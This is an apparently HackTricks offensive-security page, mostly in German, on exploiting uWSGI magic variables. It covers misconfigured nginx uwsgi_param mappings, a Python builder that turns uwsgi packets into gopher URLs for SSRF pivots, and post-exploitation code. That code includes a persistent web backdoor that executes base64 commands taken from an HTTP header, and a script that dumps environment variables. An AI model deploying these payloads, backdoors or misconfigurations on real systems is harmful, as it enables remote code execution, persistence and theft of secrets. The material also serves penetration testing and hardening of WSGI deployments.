WSGI Post-Exploitation Tricks
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
WSGI Übersicht
Web Server Gateway Interface (WSGI) ist eine Spezifikation, die beschreibt, wie ein Webserver mit Webanwendungen kommuniziert und wie Webanwendungen verkettet werden können, um eine Anfrage zu verarbeiten. uWSGI ist einer der populärsten WSGI-Server und wird häufig verwendet, um Python-Webanwendungen auszuliefern. Sein nativer binärer Transport ist das uwsgi-Protokoll (kleingeschrieben), das eine Menge von Schlüssel/Wert-Parametern ("uwsgi params") an den Backend-Anwendungsserver überträgt.
Related pages you may also want to check:
SSRF (Server Side Request Forgery)
uWSGI Magic Variables Exploitation
uWSGI stellt spezielle "magic variables" bereit, die ändern können, wie die Instanz Anwendungen lädt und dispatcht. Diese Variablen sind keine normalen HTTP-Header — sie sind uwsgi-Parameter, die innerhalb der uwsgi/SCGI/FastCGI-Anfrage vom Reverse-Proxy (nginx, Apache mod_proxy_uwsgi, etc.) zum uWSGI-Backend getragen werden. Wenn eine Proxy-Konfiguration benutzerkontrollierte Daten in uwsgi-Parameter abbildet (zum Beispiel via $arg_*, $http_*, oder unsicher exponierten Endpunkten, die das uwsgi-Protokoll sprechen), können Angreifer diese Variablen setzen und Codeausführung erreichen.
Dangerous mappings in front proxies (nginx example)
Fehlkonfigurationen wie die folgende machen die uWSGI "magic variables" direkt für Benutzereingaben zugänglich:
location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}
Wenn die App oder die Upload-Funktion das Schreiben von Dateien an einem vorhersehbaren Pfad erlaubt, führt die Kombination mit den oben genannten Mappings in der Regel sofort zu RCE, sobald das Backend die vom Angreifer kontrollierte Datei/Modul lädt.
Wichtige ausnutzbare Variablen
UWSGI_FILE - Beliebiges Laden/Ausführen von Dateien
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Lädt und führt eine beliebige Python-Datei als WSGI-Anwendung aus. Wenn ein Angreifer diesen Parameter über den uwsgi-Param-Bag kontrollieren kann, kann er Remote Code Execution (RCE) erreichen.
UWSGI_SCRIPT - Skript Laden
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Lädt ein angegebenes Skript als neue Anwendung. In Kombination mit Datei-Upload- oder Schreibmöglichkeiten kann dies zu RCE führen.
UWSGI_MODULE und UWSGI_CALLABLE - Dynamisches Laden von Modulen
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Diese Parameter ermöglichen das Laden beliebiger Python-Module und das Aufrufen spezifischer Funktionen in diesen.
UWSGI_SETENV - Manipulation von Umgebungsvariablen
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Kann verwendet werden, um Umgebungsvariablen zu verändern, was potenziell das Verhalten der Anwendung beeinflusst oder das Laden bösartiger Konfigurationen ermöglicht.
UWSGI_PYHOME - Python-Umgebungsmanipulation
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Ändert die Python-virtuelle Umgebung, wodurch potenziell bösartige Pakete oder andere Python-Interpreter geladen werden können.
UWSGI_CHDIR - Verzeichniswechsel
uwsgi_param UWSGI_CHDIR /etc/;
Ändert das Arbeitsverzeichnis vor der Verarbeitung von Anfragen und kann mit anderen Funktionen kombiniert werden.
SSRF + uwsgi protocol (gopher) pivot
Bedrohungsmodell
Wenn die Ziel-Webanwendung eine SSRF-Primitive bereitstellt und die uWSGI-Instanz auf einem internen TCP-Socket lauscht (zum Beispiel, socket = 127.0.0.1:3031), können Sie das rohe uwsgi-Protokoll über gopher ansprechen und uWSGI magische Variablen injizieren.
Das ist möglich, weil viele Deployments intern einen nicht-HTTP uwsgi-Socket verwenden; der Reverse-Proxy (nginx/Apache) übersetzt Client-HTTP in den uwsgi-Parameter-Bag. Mit SSRF+gopher können Sie das uwsgi-Binärpaket direkt erzeugen und gefährliche Variablen wie UWSGI_FILE setzen.
uWSGI protocol structure (quick reference)
- Header (4 bytes):
modifier1(1 byte),datasize(2 bytes little-endian),modifier2(1 byte) - Body: Folge von
[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
Für Standard-Anfragen ist modifier1 0. Der Body enthält uwsgi-Parameter wie SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE usw. Siehe die offizielle Protokollspezifikation für vollständige Details.
Minimal packet builder (generate gopher payload)
import struct, urllib.parse
def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Beispielverwendung, um eine zuvor auf dem Server geschriebene Datei zwangsweise zu laden:
params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
Sende die erzeugte URL durch den SSRF-Sink.
Praktisches Beispiel
Wenn du eine python-Datei auf die Festplatte schreiben kannst (die Dateiendung spielt keine Rolle) mit Code wie:
# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')
def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']
Erzeuge und löse ein gopher payload aus, das UWSGI_FILE auf diesen Pfad setzt. Das Backend importiert und führt es als WSGI app aus.
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess, base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Lade es mit UWSGI_FILE und rufe es unter einem gewählten SCRIPT_NAME auf.
Umgebungsbasierte Persistenz
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
2. Informationsoffenlegung
Ausgabe von Umgebungsvariablen
# env_dump.py
import os, json
def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Dateisystemzugriff
Kombiniere UWSGI_CHDIR mit einem Helfer zum Bereitstellen von Dateien, um sensible Verzeichnisse zu durchsuchen.
3. Ideen zur Privilegieneskalation
- Wenn uWSGI mit erhöhten Rechten läuft und sockets/pids schreibt, die root gehören, kann das Ausnutzen von env- und Verzeichnisänderungen dir helfen, Dateien mit privilegierten Besitzern abzulegen oder den Laufzeitzustand zu manipulieren.
- Das Überschreiben der Konfiguration via env (
UWSGI_*) innerhalb einer Datei, die überUWSGI_FILEgeladen wird, kann das Prozessmodell und die Worker beeinflussen und Persistence unauffälliger machen.
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Reverse-proxy desync issues relevant to uWSGI chains (recent)
Deployments that use Apache httpd with mod_proxy_uwsgi have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer:
- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): manipulierte Origin-Antwort-Header können HTTP response smuggling verursachen, wenn
mod_proxy_uwsgiim Einsatz ist. Ein Upgrade von Apache auf ≥2.4.56 mildert das Problem. - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in mehreren httpd-Modulen konnte zu Desync führen, wenn Backends Header injizieren. Im uWSGI 2.0.26 changelog erscheint das als “let httpd handle CL/TE for non-http handlers.”
Diese Probleme gewähren nicht direkt RCE in uWSGI, können aber in Randfällen mit header injection oder SSRF verkettet werden, um zum uwsgi backend zu pivotieren. Während Tests: fingerprint the proxy and version und betrachte desync/smuggling primitives als möglichen Einstieg zu backend-only routes und sockets.
References
- uWSGI Magic Variables Documentation
- IOI SaveData CTF Writeup
- uWSGI Security Best Practices
- The uwsgi Protocol (spec)
- uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks